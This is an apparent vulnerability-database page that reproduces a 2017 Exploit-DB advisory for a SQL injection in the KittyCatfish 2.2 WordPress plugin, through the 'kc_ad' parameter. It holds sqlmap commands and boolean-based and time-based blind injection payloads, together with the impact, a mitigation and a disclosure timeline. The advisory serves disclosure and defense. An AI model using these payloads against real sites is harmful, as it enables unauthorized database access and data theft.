KittyCatfish 2.2 Plugin for WordPress - SQL Injection

vendor:

KittyCatfish

by:

TAD GROUP

CVSS

CRITICAL

SQL Injection

CWE

Product Name: KittyCatfish

Affected Version From: 2.2

Affected Version To: 2.2

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2017

KittyCatfish 2.2 Plugin for WordPress – SQL Injection

An unescaped parameter was found in KittyCatfish version 2.2 (WP plugin). An attacker can exploit this vulnerability to read from the database. The get oarameter 'kc_ad' is vulnerable. An attacker can read arbitrary data from the database. If the webserver is misconfigured, read & write access to the filesystem may be possible.

Mitigation:

Input validation and escaping should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

# Exploit Title: KittyCatfish 2.2 Plugin for WordPress - SQL Injection
# Date: 20/03/2017
# Exploit Author: TAD GROUP
# Vendor Homepage: https://wordpress.org/plugins-wp/kittycatfish/
# Software Link: https://wordpress.org/plugins-wp/kittycatfish/
# Version: 2.2
# Contact: info[at]tad.group
# Website: https://tad.group
# Category: Web Application Exploits


1. Description 

An unescaped parameter was found in KittyCatfish version 2.2 (WP plugin). An attacker can exploit this vulnerability to read from the database.

The get oarameter 'kc_ad' is vulnerable.

 
2. Proof of concept

sqlmap -u "http://192.168.20.39/wp-content/plugins/kittycatfish/base.css.php?kc_ad=31&ver=2.0""  —dbms —threads=10 —random-agent

OR

sqlmap -u "http://192.168.20.39/wp-content/plugins/kittycatfish/kittycatfish.php?kc_ad=37&ver=2.0" —dbms —threads=10 —random-agent —dbms=mysql   —level 5 —risk=3

Parameter: kc_ad (GET)

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: kc_ad=31 AND 2281=2281&ver=2.0

 

    Type: AND/OR time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)

    Payload: kc_ad=31 AND (SELECT * FROM (SELECT(SLEEP(5)))xzZh)&ver=2.0

 

3. Attack outcome:

An attacker can read arbitrary data from the database. If the webserver is misconfigured, read & write access to the filesystem may be possible.

4. Impact

Critical

5. Affected versions

<= 2.2

6. Disclosure timeline

06-Mar-2017 - found the vulnerability
06-Mar-2017 - informed the developer
20-Mar-2017 - release date of this security advisory

Not fixed at the date of submitting this exploit.